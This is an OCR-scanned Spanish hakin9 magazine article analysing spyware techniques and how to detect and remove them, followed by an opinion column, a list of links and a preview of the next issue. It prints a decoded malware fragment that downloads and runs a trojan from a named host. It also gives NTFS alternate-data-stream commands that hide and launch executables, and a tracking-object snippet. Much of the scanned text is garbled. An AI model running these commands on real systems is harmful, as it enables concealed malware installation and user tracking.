parte de un flujo de datos capturado
a través de una alerta IDS. Este co-
digo, bastante confuso, trata en rea-
lidad de utilizar JavaScript para crear
un fichero llamado q706634.exe en la
particion C:\ del sistema. El nombre
de archivo es sospechosamente pa-
recido a un fichero de actualizacion
de Microsoft.

Una rapida ojeada a la porcion
funcional nos revela que los datos
estan descodificados y son escritos
en este archivo. Entonces se eje-
cuta. También se inserta en este
cédigo un componente ActiveX.
Este abre el fichero en la maquina
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enlace spyware

<textarea id="Main HTA">
<HTA:APPLICATION id=DSD
Applicationname="DSD"
showintaskbar=NO
caption=YES

<SCRIPT language="VBSCRIPT">

& "spycheck.cgi"

WinOS=Get Win Version
Select Case WinOS
Case "NT"

Listado 2. Fragmentos del resultado de una version modificada de un

<IFRAME name="icounter" src="about:blank" widh=8 height=8></IFRAME>

If Instr(Exploit Path,"cgi-bin"<>0 then CGI_ SCRIPT PATH=Exploit PATH <«

Call Download and Execute (Trojan Path,Exename, " ", 1)

Trojan_Path="http://www.isendyousomenicespyware.com/spikey.exe"

// Create an SO

// Add some important data

// Write the SO to the disk
mySO.flush () ;
// Delete the SO
delete mySO;
// Reload the SO
mySO = SharedObject.getLocal ("test");
// Scan the SO for values
for (a in mySO.data) {
trace(at": "+mySO.datalal);

}

.

Listado 3. Un ejemplo de Local Shared Object

mySO = SharedObject.getLocal ("sticky spyware");

mySO.data.stickAround = "uniqueID=w@nnaspyOnyoursurfing234589712";

objetivo del ataque. Una pequefia
alteracion del codigo original permite
que extraigamos el cédigo descodifi-
cado y veamos qué es lo que hace.
El Listado 2 contiene fragmentos del
resultado.

El fichero q706634.exe es un
ejecutable Win32, de 32,367 bytes.
Tras analizarlo con OllyDbg, pode-
mos averiguar algo mas sobre lo que
hace. Cuando se descarga y ejecuta
spikey.exe, es copiado a la carpeta
WINDOWS\System32 con el nombre
hddwizz.exe e instala una entrada
para ejecutarse al inicio del siste-
ma en HKLM\Software\Microsoft\
Windows\CurrentVersion\Run. Se in-
stalaran, a su vez, en el mismo di-
rectorio varios DLLs. En conjunto, el
programa funciona como un registro
de las pulsaciones de las teclas o ke-
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ylogger, y envia después los datos a
través de un correo electronico, que
es posteriormente borrado.

El autor de este articulo ha captu-
rado muchos troyanos y spyware de
este tipo a través de trampas (hone-
ypots). Todos utilizaban el mismo tipo
de trucos de confusion y decodifica-
cion, trabajando después con IFRA-
ME vy técnicas de re-direccionado.

Para evitar este tipo de infecciones,
debemos utilizar los siguientes mé-
todos:

» Actualizacionregular de Windows
— instalacion de parches.

* ACLs (Access Control Lists) en
los directorios C:AWINDOWS
and C:\WINDOWS\system32 pa-

www.hakin9.org

ra evitar que los usuarios instalen

software en estos lugares.

* ACLs en las siguientes entradas
de registro para evitar que los
usuarios agreguen valores (Set
Value or Create Subkey):

« HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\
CurrentVersion\Run,

« HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\
CurrentVersion\RunOnce,

« HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\
CurrentVersion\RunServices,

* HKEY_LOCAL_MACHINE\
System\CurrentControlSet\
Services.

» Utilizacion de software de integri-
dad de ficheros como Tripwire.

Si ya estamos infectados, la mayor
parte de los programas anti-spyware
y antivirus pueden detectar y limpiar
el desastre. De cualquier modo, es
recomendable hacer varias pasadas
con distintos tipos de anti-spyware.
Hitman Pro esta especialmente indi-
cado para este caso.

Elementos de
identificacion
persistentes
Esta nueva técnica fue desarrollada
por una empresa llamada United
Virtualities. Segun su pagina web, se
vincula al navegador del usuario un
elemento de identificacién persisten-
te o Persistent Identification Element
(PIE), dandole a cada usuario una
identidad Unica, como sucede con
la programacion habitual de las
cookies. Sin embargo, los PIEs no
pueden ser eliminados por ningun
programa comercial de anti-spyware
existente, ni tampoco por los progra-
mas de eliminacién de malware o de
adware. Funcionaran incluso con los
niveles de seguridad por defecto de
Internet Explorer.

United Virtualities ha creado dos
tipos de PIE :

e AccuCounter PIE, un sustituto
para las cookies, que contabiliza
usuarios con exactitud,
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* Backup PIE, un PIE que no sdlo
contabiliza usuarios Unicos, sino
que también reconoce al visitan-
te y restaura cualquier cookie
borrada.

La mayor parte de los navegadores,
como Firefox e Internet Explorer,
utilizan un modelo de zona para
gestionar las cookies. Los usuarios
pueden permitir, denegar o borrar
las cookies. Para evitar estas res-
tricciones, se utilizan objetos com-
partidos locales o Local Shared
Objects (LSO). Estos objetos estan
desarrollados por Macromedia para
ser utilizados con su Flash Player.
Se trata de pequefios archivos ins-
talados en el sistema por un plug-in
JavaScript o Flash. Este tipo de
ficheros tienen la extension .sol y
pueden ser instalados en varios
lugares diferentes, normalmente
un subdirectorio de Documents
and Settings\{Nombre de Usuario}\
ApplicationData\Macromedia\Flash
Player\. Tras la instalacion funcio-
nan como cookies normales.

United Virtualities utiliza estos
objetos compartidos locales dan-
doles un numero unico de identifi-
cacion. Con este numero, se puede
seguir facilmente a un usuario por
todo Internet. Utilizando esta técni-
ca, cuando un sitio web descubre
que falta una cookie, puede buscar
una copia de seguridad y restau-
rarla.

Como United Virtualities no propor-
ciona el codigo, podemos intentar re-
construir partes del mismo utilizando
los conceptos clave del mismo.
Macromedia proporciona buena do-
cumentacién sobre la construccion
de objetos compartidos locales.
Utilizando dicha documentacion, po-
demos construir cédigo como el que
se recoge en el Listado 3.

Como podemos ver, es muy fa-
cil crear LSOs. Si los combinamos
con JavaScript en una pagina web,
pueden ser inyectados con mucha
facilidad en el navegador de un
usuario.

Macromedia Flash Player ™ Settings Manager @J

€@ e Y
Global Security Settings

Some wehsites may access information from other sites using an older
system of security. This is usually harmless, but it is possible that some
sites could obtain unauthorized information using the older system. When a
wehbsite attempts to use the older system to access information:

® & Always deny

O €3 Always ask O € Always allow

Figura 3. Cambiando las preferencias de Flash para evitar PIEs

.  \—y

"'( #actionscript.org U #comcast.net

( #flashcomponents.net #ocal

":\,—f #macromedia.com ~, Soncelincliosom

i i e #nytimes.com

‘.'::_ﬁ #oddcast.com D #pointroll.com

[ #ujiko.com = #us.al.yimg.com
#vlaurie.com (== R
SOLFile

Figura 4. Archivos con extension .sol que contienen objetos compartidos
locales

Macromedia Flash Player ™ Settings Manager @
O &e s Y
Website Storage Settings

How much information can omroep.nl store on your computer?

-
——0 - 100 K8

LI Never Ask Again | Delete website | | Delete all stes |
Visited Websites

Privacy Websites Used Limit

% omroep.nl 1KB 100 KB

Figura 5. Lista de sitios web que han guardado LSOs en una maquina local
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Internet Explorer

| Unknown

v

Sitio BHO de |IE

| BHO | | BHO |---| BHO |

v

Browser
Helper Object

Browser
Helper Object

Browser
Helper Object

L

Figura 6. Cémo funcionan los BHOs

Escapar a los PIEs es tan fa-
cil como cambiar las preferen-
cias globales de Flash. Como
referencia para la utilizacion del
gestor de preferencias de Flash, lo
mejor es visitar la pagina http://www.
macromedia.com/support/docu-
mentation/en/flashplayer/help/
settings_manager.html. Desde esta
pagina, podemos ir directamente a
cambiar las preferencias.

Existen varias paginas donde
podemos ajustar las preferencias
de nuestro ordenador. Primero,
seleccionaremos Global Security
Settings Panel a la izquierda. Para
evitar que cualquier sitio web pueda
acceder o almacenar informacion
en nuestro ordenador, debemos

hacer click sobre el botén Always
deny. Es una buena idea hacer lo
mismo con el panel de Global Pri-
vacy Settings.

Para detectar LSOs, podemos
buscar archivos con la extension
.sol (ver Figura 4). Desde la venta-
na de resultados, vemos claramen-
te que algunas de las entradas han
llegado a través de anuncios web.
Sin embargo, también podemos ver
que muchas cookies tienen un pro-
posito legitimo. Otros componentes
de la suite Flash MX también utili-
zan Local Shared Objects.

Podemos ver que los archivos
persistentes no sélo estan rela-
cionados con la publicidad, sino
que pueden estar presentes por
varias razones legitimas. Aun-

que pueda ser tentador utilizar
la fuerza bruta y borrar todos los
archivos .sol para eliminar el es-
pionaje, existe una solucién me-
jor. Si visitamos la péagina http://
www.macromedia.com/support/
documentation/en/flashplayer/
help/settings_manager07.html nos
encontraremos con una aplicacién
Flash que muestra qué sitios web
utilizan LSOs (ver Figura 5). Des-
de aqui podremos eliminar dichos
elementos borrando el sitio web en
Settings Manager.

Browser Helper
Objects — Objetos
de ayuda para el

navegador
Con los Browser Helper Objects
podemos escribir componentes

(especificamente, componentes de
proceso Component Object Model —
COM) que Internet Explorer cargara
cada vez que se inicie. Estos objetos
se ejecutan en el mismo contexto de
memoria que el navegador, y pue-
den realizar cualquier accion sobre
las ventanas y modulos disponibles.
Un BHO puede acceder al menu del
navegador y a la barra de herra-
mientas y realizar cambios; también
puede crear ventanas nuevas y
mostrar cualquier informacion en la
pagina web que se esté visitando, e
instalar programas que monitoricen
mensajes y acciones. Un ejemplo
de aplicacion legal que utiliza BHO
son las barras de herramientas de
Google y Yahoo.

® BHODemon 2.0

=1olx|

|E

3L | roboromal |3
4 v :Jucatd'lcll '
5 ([ [l

GoogleToobarz.dl |

an | RoboForm.BrowserHelper. 1

AcroIEHelper.ncrc-IEl-lprobi. 1

AcrolEhelper.ocx, AcrolEhelper.dil - Adobe Acrobat reader

SDhelper.dll - Spybat - Search & Destroy

RoboForm.dll - RoboFarm

Jecatch. IeCatch2, 1

Jecateh.dll - FlashGet

B !g Check for Updates

| (8] ssren

| Settings

googletoolbar.dll, googletoolbar®.dll {* = number},

googletoolbar

|

| RS

Figura 7. BHODemon — software para la gestién de BHOs
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Listado 4. Analisis de un secuestrador de WinSock

Start Page

Software\Microsoft\Internet Explorer\Main
srchost_table size

plugins

data_ timeout

time offset

data.webhancer.com:80

dc_servers

secondary.webhancer.com: 80

sec_auth_server
prime.webhancer.com:80

il

Transporte Espacio )
de Nombres prim_auth_server
HTTP/1.0
Protocolo
por Capas

Listado 5. M&s cddigo encontrado utilizando Malcode Analyst Pack

46F021DC-CB81-4acc-BA1B-9E1B440020D4er

127.0.0.1

localhost
Protocolo 912B4D64-E5A5-4bfc-9808-4CF149F2F965-31
por Capas 951B13F8-F40D-4c56-BD57-909A968F918B-31

4851F512-58B1-446a-85A0-D944078E9A7D-31
B317949A-EE2E-48e6-BE41-CD5744F706D2-31
6A803934-0F46-489a-B02A-8A6DDFE30BB0-31
74F5FD53-368F-4e0d-805B-4A983826EF91-31

Figura 8. LSPs en la cadena
WinSock

Un BHO esta atado a la ventana
principal del navegador. En la
practica, esto significa que cada
vez que se cree una nueva venta-
na del navegador, se creara una
nueva unidad del objeto. Todas las
unidades del BHO viven y mueren
con la correspondiente unidad del
navegador. Los BHOs sdlo existen
en Internet Explorer, version 4.0 y
posteriores.

En su forma mas simple, un BHO
es un servidor COM en-proceso
registrado bajo una determinada
entrada del registro. Al inicio, Inter-
net Explorer busca la clave y carga
todos los objetos cuyo CLSID esté
alli almacenado. El navegador inicia-
liza el objeto y le pide una interfaz
determinada. Si se encuentra dicha
interfaz, |IE utilizara los métodos
proporcionados para pasar su pun-
tero 1unknown al objeto de ayuda en
cuestion. Como los BHOs tienen ac-

default

%s:%d

RegWhWs2Lsp
\Programs\webhdl1l.dll

\

/

ceso ilimitado al modelo de eventos
de Internet Explorer, se han creado
algunas formas de malware como
BHOs.

Debido a que escribir BHOs re-
quiere bastante trabajo, recomen-
damos echar un vistazo a un
proyecto legitimo de ejemplo, he-
cho segun estas técnicas: htip:/
www.codeproject.com/atl/popup-
blocker.asp. Pueden encontrarse
manuales para escribir BHOs en el
sitio web Microsoft MSDN.

Hay programas como BHODemon
(ver Figura 7 y Recuadro En la Red)
que pueden evitar que los BHOs se
ejecuten al inicio de Internet Explo-
rer. BHODemon puede también ser
usado para detectar infecciones e
identificar el fichero plug-in principal
asociado al BHO (tipicamente un
archivo .DLL o .OCX situado en la
carpeta System de Windows), para

que podamos eliminar el archivo
manualmente.

WinSock hijackers
— Secuestradores
de WinSock

Para atar a un programa a la imple-
mentacion de WinSock2, se utilizan
LSPs. LSP significa Layered Service
Provider. Como los LSPs funcionan
como una cadena cuando se utiliza
WinSock, los datos también son
transportados a través de cada LSP
en la cadena.

El spyware que utiliza la técnica
de secuestro de WinSock redirige
el tréfico de red hacia, por ejemplo,
sitios web con contenidos para adul-
tos. Un ejemplo de este tipo de pro-
gramas seria WebHancer (aunque
deberia llamarse WebCancer).

Al analizar este software con el paque-
te Malcode Analyst Pack de iDEFEN-
SE Labs (ver Recuadro En la Red), el

www.hakin9.org
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Proxy del tipo hombre en el medio
espiando el trafico

La maquina infectada envia datos

www.onlineshop.shop

Figura 9. Como funcionan los proxies man-in-the-middle

37 Sign In - Yahoo! Groups - Microsoft Internet Explorer

=

oﬁad( bl > )

\ﬂ Ig {h f“_\Sear\:h f/}(Favnribes e} :3- :; .ﬁ

addreg€| @] https:flogin.yahoo comfconNa/login? src=ygrpe, w=08. u=du236gp0p7muct: last=promo=8yintl=ust bypass=8. partner=¢ V‘ Go

Links

>

%% Active Ports
Fie Options 7

'-', start

o1 CWIND:

re https://sec.vimg.comfijusfsec/lock.gff...

/3 Sign In - Yahoo. ..

& C:\security_to...

£5 Active Ports

Figura 10. Deteccién de MarketScore a través de Active Ports

Process P. Local IP Local Poit RemoteIP Remote Poit | #
ok sychost.exe 1132 0000 1055
o sychost.exe 1132 0.0.00 1027
ok svchost.exe 1272 192.168.64.129 1900
1oF coApp.exe 1820 127.0.041 1029
TEF OSSpIORy.ERE TEAT TIZTEE 64,129 TTES TA6.57.208.8
TS ossprosy.exe 1884 192.168,64,129 1167 146.57.248.21
« Share photos & fil§ | rer ossprony.exe 1844 192.168,64.129 1168 146.57.248.21
+ Plan group events|| | ™ ossprony.exe 1844 192.168.64.129 1163 170.224.224.133
: e ossprospexe 1844 192.168.64129 1147 146572488
* Stay in touch withl | 100 oeeprouy exe 1844 192.168,64.129 1145 216.148.245.137
+ Send a newsletter] | " ossprosy.exs 1884 192.168.64.129 1141 216.148.245.137
Find neonle wh 16 ossprowy.exs 1844 127.001 8254 127.001
« Find people who &f g ene 2 2700 7093
& v
_and much mord :D' iexplore.exe 3976 127.0.0.1 1037 -
Teminate Process | [ Query Name:
Copyright ® 2004 Yahoa! | ved. Copyright Policy Terms of Servica
NOTICE: We coll infor mation on this site :
€] (1 item remaining) Downloading pictu ] 8 ® mnteret

W@ 338

Listado 6. Software malicioso distribuido via ADS

10.0.0.75.1032 > 10.0.0.77.3733:

3530256009:3530256512(503)

0x0000 4500 021f 02df
0x0010 c0a8 0166 0406
0x0020 5018 4397 e869
0x0030 3230 3034 2020
0x0040 2020 2020 2020
0x0050 2069 7065 7965
0x0060 352f 3230 3034
0x0070 2020 2020 2020
0x0080 3638 206b 6c6f

4000
10el
0000
3039
2020
2e65
2020
2020
6767

8006
d26b
0d0a
3a33
2020
7865
3039
2020
6572

P

7T1lde
6e89
3132
3061
3332
0d0a
3a33
2020
2e65

cl0a8
2d34
2£30
2020
2¢37
3132
3261
3332
7865

[tcp sum ok]
ack 758422019 win 17303

P.C..i....23/09/
2005..22:09a....
.......... 32,768
rootkit.exe.23/0
9/2005..22:09a..

68.keylogger.exe
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cédigo recogido en los Listados 4 y
5 es mostrado a través del comando
strings. Estos ejemplos nos permiten
comprobar cémo el proxy utiliza el
sitio web de WebHancer afadiendo
y modificando claves del registro para
redirigir el trafico del navegador.

Es muy dificil eliminar este tipo de
programas. Antes de que nos demos
cuenta, podemos estropear nuestra
conexion a Internet al eliminar DLLs
incorrectos. Por eso, es mejor utilizar
un programa especifico para este
proposito. Un buen ejemplo podria ser
LSP-Fix (ver Recuadro En la Red).
Para evitar que se instale en nuestro
sistema un secuestrador de WinSock,
podemos usar la herramienta Soc-
kLock (ver Recuadro En la Red). Este
programa previene la modificacién de
WinSock, protegiéndolo.

Para detectar WinSock hijackers,
podemos usar una herramienta lla-
mada Hijack This (ver Recuadro En
la Red). Al ejecutarla, seremos in-
formados de si nuestro WinSock ha
sido secuestrado (por ejemplo, Hi-
Jacked Internet access by New.Netl),
o esta roto (por ejemplo: Broken
Internet access because of LSP
provider  ‘c:\progra~1\common~2\
toolbar\cnmib.dll' missing). Hijack
This, a pesar de todo, es incapaz de
resolver el problema, asi que necesi-
taremos utilizar LSP-Fix.

Proxies man-in-the-
middle

Aumenta la velocidad de tu conexion
a Internet en un 40 por ciento — §no
estaria bien? Muchos usuarios caen
en este tipo de anuncios y se descar-
gan programas como MarketScore
(el nombre de archivo es ossproxy).
Recomendamos no descargar ni ins-
talar este tipo de programas, porque
hay muchas posibilidades de que en
realidad redirijan nuestro trafico de
Internet hacia otros servidores proxy
(jincluyendo nuestras transacciones
seguras!)

Este software normalmente instala
un programa de gestién de certifica-
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scanners detect this.

EX ADS Spy v1.09 - Written by Merijn

Alternate Data Streams [ADS) are pieces of info hidden as metadata on files. They are
not visible in Explorer and the size they take up is not reported by Windows.
Recent browser hijackers started using ADS to hide their files, and very few anti-malware

Use ADS Spy to find and remove these streams. Mote: this app also displays legitimate
ADS streams. Don't delete streams if you are not completely sure they are malicious!

=10l

W C:\wAINDOY

i Scan the system for altemate data streams _ :

I~ Quick scan [Windows base folder only)
I lgnore safe system info data streams ['enciyptable’, 'Summarylnformation’, etc)
[~ Calculate MDS checksums of streams’ contents

stern32hcalc.exe ; spyware.exe.tat (0 bytes)

Remove selected streams

|Scan complete, found 1 alternate data streams (ADS's).

Figura 11. Deteccion de ADSs utilizando ADS spy

dos seguros. Utilizando un método
de hombre-en-el-medio (man-in-the-
middle), todo el trafico es enviado
primero a sus propios servidores y
después hacia el destino URL escri-
to en el navegador web. Los duefios
de estos servidores pueden recoger
con facilidad toda la informacion que
incluye claves de acceso y cualquier
informacion confidencial.

Como la gran mayoria de este soft-
ware es instalado por los usuarios
voluntariamente, el método para evi-
tarlos es sencillo — no instalarlos.
Para saber si este tipo de soft-
ware esta instalado, es necesario

tener una herramienta que nos
muestre las caracteristicas de
nuestras conexiones de red. Una
buena herramienta es Active Ports.
La Figura 10 nos muestra su uso
para detectar la infeccion por Mar-
ketScore. Podemos claramente ver
que hay muchas sesiones utilizando
ossproxy.exe cuando navegamos
por Internet.

Alternate Data Streams
NTFS es el sistema de archivos por
defecto al instalar una plataforma
Microsoft. Ofrece estabilidad vy
seguridad, junto con otros meca-
nismos interesantes. Uno de ellos,
Alternate Data Streams (ADS) se

En la Red

*  http://www.mwecollect.org — mwcollect — una solucién para recoger malware a través

de honeypots,

»  http://www.definitivesolutions.com/bhodemon.htm — BHO Demon — para la pro-

teccion frente a BHOs desconocidos,

N

«  http://www.hitmanpro.nl/— una suite anti-spyware gratuita y muy recomendable,

*  http.//www.idefense.com/iia/labs-software.php?show=8 — paquete para analisis
de malcode,

*  http://www.nsclean.com/socklock.html, — SockLock — protege WinSock de las
modificaciones,

»  http://'www.merijn.org/downloads.html — Hijack This (muestra conexiones Win-
Sock secuestradas), ADS spy (detecta y elimina Alternate Data Streams) y otras
herramientas interesantes,

»  http.//www.protect-me.com/freeware.html — Active Ports — para la deteccion de
proxies de hombre-en-el-medio,

*  http://www.cexx.org/Ispfix.htm — LSP-Fix — ayuda para eliminar LSPs ilegitimos,

»  http://www.heysoft.de/Frames/f_sw_la_en.htm — LADS — muestra Alternate Data
Streams.
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usa para proporcionar compatibili-
dad con el sistema Hierarchical File
System de Macintosh, que guarda
un resumen de datos de archivos
seleccionados, y también registra
cambios de volumen. Microsoft no
proporciona herramientas para de-
tectar la presencia de codigo oculto
en los flujos ADS.

Los Alternate Data Streams son
solo ligeramente diferentes de los
Primary Data Streams. Se gestio-
nan de forma diferente, tanto por
Microsoft como por aplicaciones
de terceros en Windows. Su mayor
diferencia radica en si una aplica-
cién es capaz o no de detectar un
flujo alterno, y si lo hace, cémo se
accede a él.

Los datos que existen dentro de
un flujo alterno no pueden ser bo-
rrados del mismo modo en que lo
son aquellos dentro de un flujo pri-
mario. Cada flujo de datos tiene sus
propios atributos, pero Windows
solo se preocupa de la protecciéon
en el flujo sin nombre. Esto crea
una estupenda vulnerabilidad, por
la que pueden crearse y editarse
ADS al mismo tiempo que estan
protegidos para no ser detectados
ni eliminados por las aplicaciones
de escaneado ADS.

Los datos en en ADS pueden
ser también ejecutados directamen-
te. Existen al menos cinco formas
distintas de ejecutarlos en Windows
2000. Son posibles los siguientes
casos:

» Ejecutar el flujo desde la venta-
na Run porque el fichero file:\
notepad.exe:<stream name> fun-
ciona para el flujo .exe y para el
flujo .vbs.

» Ejecutar el script de Visual Basic
desde la linea de comandos uti-
lizando Windows Scripting Host
ejecutando wscript notepad.exe:
<VBstream name>.

« Crear un acceso directo a
notepad.exe:<stream name> eje-
cutara tanto el flujo .exe como el
.vbs streams.

» Instalar un acceso directo al flujo
en la carpeta de Inicio de Win-
dows hara que los flujos .exe y
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Técnica

.vbs sean ejecutados cuando un
usuario inicie sesion.

» Afadir una clave de prueba con el
valor notepad.exe <stream name>
en HKLM\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
hara que los flujos .exe y .vbs se
ejecuten al inicio del sistema.

Los creadores de spyware (por ejem-
plo de variantes de CoolWebSearch)
utilizan estas técnicas para ocultar
su codigo malicioso dentro de ADSs.
Es facil de hacer, no se requieren
herramientas especiales y sélo se
requiere una herramienta que sirva
para flujos, como el Bloc de Notas,
para afadir/editar datos.

Empecemos con un ejemplo muy
sencillo:

> type c:\spyware.exe > «
c:\winnt\system32\notepad.exe: «

spyware.exe

que unird el programa normal del
Bloc de Notas con un ADS llamado
spyware.exe.
Otro ejemplo:

> cd C:\

4

copy C:\winnt\notepad.exe <«

C:\notepad.exe

4

edit C:\randumb.txt

4

type notepad.exe > «

randumb.txt:nd.exe

Ahora podras ejecutar ese programa
notepad.exe desde dentro del archi-
vo de texto:

> start C:\randumb.txt:nd.exe

Los crackers pueden usar esta téc-
nica para instalar rootkoots o keylog-
gers en maquinas windows después
de crear una shell remota en Own3d
box. Utilizando TFTP, los siguientes
archivos seran transferidos hacia un
directorio de apariencia inocente:
C:\WUTemp$dir. El analisis del flujo
con tcpdump puede ser estudiado en
el Listado 6.

El directorio C:AWUTemp$dir
contiene un fichero llamado wu-
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test. Un atacante copia entonces
las herramientas en este archivo
para ocultarlas en un alternate data
stream:

> type spyware.exe > <«

wutest:spyware.exe

Es posible copiar un fichero en el
fluo de un directorio, como por
ejemplo C:\. Hay muchas formas
de que un atacante pueda ejecutar
programas, como los batch-scripts o
start-command. Los analsis recien-
tes de honeypots muestran que este
tipo de ataques son frecuentes en la
actualidad.

Por desgracia, Microsoft no propor-
ciona herramienta alguna para de-
tectar Alternate Data Streams. Hay,
sin embargo, software de terceros
disponible, como LADS o ADS spy
(ver En la Red).

Veamos como detectar y eliminar
ADSs en la practica. Primero, crea-
remos un flujo de ejemplo:

> type c:\temp\spyware.exe.txt >«
c:\WINDOWS\system32\calc.exe: «

spyware.exe.txt

Esto crea un ADS en el fichero
calc.exe, la calculadora. Ahora eje-
cutaremos ADS spy — la Figura 11

muestra el resultado de un escaner
del sistema. Como veremos, ADS
spy detecté el flujo y, una vez se-
leccionado, podremos eliminarlo
con esta misma herramienta. Es
dificil evitar los ADSs, pero cada
vez mas desarrolladores de anti-
virus estan actualizando sus herra-
mientas pasa permitir la deteccién
de ADS.

Sumario

Para solucionar los problemas
relativos al spyware, el software
anti-spyware no es suficiente. No
existe un paquete ideal, asi que lo
mejor es utilizar una combinacién
de programas anti-spyware de
desarrolladores bien conocidos.
Por supuesto, mantener el siste-
ma operativo bien actualizado es
clave para tener éxito. En algunos
casos, se necesitan herramientas
de terceros para solucionar los
problemas.

Por otro lado, ¢;podemos real-
mente erradicar el spyware? Dado
que el spyware es un negocio muy
lucrativo, la batalla entre creadores
de spyware y luchadores contra el
spyware continuara, y cada uno de
los bandos seguira desarrollando y
utilizando herramientas nuevas para
vencer al otro. ®
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Ideas estupidas sobre
seguridad informatica

Folletin

Stefano Zanero l]

n un reciente editorial, (http://www.ranum.com/

security/computer_security/editorials/dumb/)

Marcus J. Ranum, un conocido experto en seguri-
dad, describe lo que él considera las ideas mas estupidas
desarrolladas en el campo de la seguridad informatica.
Encuentro este punto de vista muy interesante y diver-
tido, asi que he decidido compartir con vosotros su lista
de ideas estupidas, con algunas notas y comentarios de
mi propia cosecha.

Para Ranum el primer problema es la teoria de siste-
mas abiertos por defecto, por ejemplo: permitir cualquier
operacion en un sistema salvo que esté especificamente
denegada. Probablemente pienses: ;A quién se le podria
ocurrir configurar un firewall con semejante punto de vista?
Aunque se me ocurren un par de ejemplos de entre mis
clientes, a pesar de todo tienes razoén, en la actualidad
damos por supuesto que todos los cortafuegos poseen una
politica de cerrado por defecto; pero piensa en las redes
sin segmentacion interna... ;No es esto otra forma de tener
todo abierto por defecto? ;Y qué sucede con aquellos sis-
temas operativos que permiten la ejecucion de una parte
de cddigo desconocido, a pesar de que la mayor parte de
los usuarios solo utilizan un pequefo conjunto de aplica-
ciones? Sin mencionar todo el revuelo generado alrededor
de los sistemas de prevenciéon de intrusiones: bajo este
nombre tan llamativo se engloban objetos ordinarios que
eliminan los ataques conocidos. En otras palabras: si no es
un ataque conocido, deja que pase, asi que éste es otro
ejemplo de sistema abierto por defecto.

Esto nos lleva a la segunda idea estupida segun Ranum:
enumeracion de la maldad. En otras palabras, desarrollar tu
sistema de seguridad de acuerdo con una lista de cosas
malas que no quieres que sucedan. Por ejemplo: virus,
spam y troyanos, pero ¢ por qué perder el tiempo haciendo
una lista de miles de cosas malas cuando, sencillamente,
podemos dar autorizacion a unas aplicaciones especificas,
y a nada mas, para que puedan ejecutarse en nuestro PC?
Lo mismo sucede con los sistemas de filtrado de trafico.
Por lo general, podemos saber que nuestro sistema de
seguridad esta basado en el principio de enumeracion de
la maldad cuando nuestro software necesita una constante
actualizacién de definiciones.

La tercera idea estupida descrita por Ranum es la
idea de Penetrar y Parchear, pero yo encuentro esta idea
menos convincente. Por un lado, estoy de acuerdo con la
afirmacion de que hay algunas (pocas) aplicaciones, como
gmail o Postfix que practicamente no tienen errores ni vul-
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nerabilidades, ya que han sido disefiadas teniendo como
idea central la seguridad. Asi que, como Marcus, creo que
en el campo de la ingenieria de software la cuestion es
invertir la tendencia. Sin embargo, creo que tener a alguien
encargado de intentar derribar los sistemas de seguridad
con tests de penetracion es muy Uutil para el usuario final,
para que éste pueda estar seguro de que todo se ha hecho
correctamente. Pero — ya que tantos clientes mios me lo
preguntan — puede que yo no sea la persona mas adecuada
para hacer comentarios sobre esto.

La cuarta idea estupida tampoco me convence: Ranum
dice que debemos dejar de pensar que hackear es bueno y
empezar a pensar que la buena ingenieria es mejor. Bueno,
mi respuesta a esto es si y no: necesitamos ingenieros para
construir software disefiado de forma robusta, pero también
necesitamos mentes flexibles que cuestionen la seguridad
y nos demuestren que lo que se creia imposible es posible,
actuando de esta forma como hackers.

Me saltaré la quinta idea estupida (educar a los usua-
rios no funciona...), y me gustaria darle un consejo a Ranum
sobre la sexta idea estupida: A veces, es mejor no hacer
nada que hacer algo estupido. Antes de gastarse decenas
de miles de euros en tecnologias nuevas y poco proba-
das, es mejor gastarse el dinero en alguien que tenga las
habilidades necesarias para ayudarnos a saber qué hacer.
Merece la pena entender en primer lugar qué es lo que ha
salido mal, antes de promover nuevas politicas de seguri-
dad que no se van a utilizar.

Si el eslogan de Google es no seas malo, sugiero que
el nuestro sea no seas estupido. Es mas dificil de lo que
parece, créeme. ®

-
Sobre el autor
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Una especie de portal para la gente a que
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http://www.cyruxnet.org

Website de contenido underground, hacking,

temas de seguridad, técnicas de hacking, tro-

yanos, msn tools, noticias informaticas.
http://www.cyberpirata.org

% JURGDS PARA TU MOVIL

Un sitio web sobre la seguridad y contraseguri-

dad informatica. Articulos, noticias, informacién

virica, descargas de herramientas.
http://www.freneticmig.com

[ tne

-
A:j_;UJER‘N GRO
! ad del [ .
.

Una pagina independiente y no comercial. Alli

se reunen amigos hispanos para desarrollar

Internet de calidad y para todos.
http://www.agujero.com

diariolinuxmcom

Web especializada en articulos técnicos sobre

Linux. Aqui encontraras las ultimas noticias

sobre Linux y Software Libre, foros.
www.diariolinux.com

Hack Hispano, comunidad de usuarios en la

que se tratan temas de actualidad sobre nuevas

tecnologias, Internet y seguridad informatica.
http://www.hackhispano.com

Tecnologia, informatica e Internet. Alli encon-

traras enlaces, foros, fondos de escritorio y una

biblioteca repleta de articulos interesantes...
http://www.hispabyte.net

Seguridad0 es un magazine gratuito de seguri-

dad informatica. Tiene una periodicidad sema-

nal, aunque se anaden noticias a diario.
http://www.seguridad0.com

Un espacio libre para compartir: descargas,
software, programas oscuros, dudas, noticias,
trucos... y mas cosas a ritmo de blues.

http://www.viejoblues.com

== |

Indaya teaM fue creada por un grupo de per-
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Vulnerabilidades en IBM AS/400

Las maquinas IBM AS/400 se usan en muchas grandes instituciones:
bancos, hospitales, casinos, a menudo en la gestion de datos criticos. Su
disefio y su sistema operativo propietario les hacen parecer menos vulnera-
bles que a otras soluciones mas populares. A pesar de ello, con la genera-
lizacion de Internet y la necesidad de conectar estas maquinas a las redes
modernas, se introducen y descubren vulnerabilidades. Shalom Carmel
discute sobre las vulnerabilidades en AS/400 y muestra su impacto potencial
sobre la seguridad de las empresas.

Usando un entorno de exploits para
pruebas de penetracion

Una de las actividades que lleva mas tiempo realizar durante las pruebas de
penetracion es intentar aprovechar vulnerabilidades potenciales. Mientras
el proceso de deteccién esta bastante bien automatizado, la busqueda del
exploit adecuado para demostrar la vulnerabilidad requiere, por lo general,
un trabajo manual intensivo. La solucién desarrollada para rodear estos pro-
blemas son los entornos de exploits. Tim O. Shenko examina y compara los
entornos disponibles y analiza su grado de utilizacion para las pruebas de
penetracion.

Creando un backdoor de captacion
de paquetes

Los backdoors tradicionales son faciles de encontrar utilizando sencillas
herramientas de monitorizacién que muestran las conexiones abiertas. Son
dificiles de usar también en aquellas situaciones en que un firewall bloquea
el acceso a la maquina. Brandon Edwards, autor del backdoor SilentDoor,
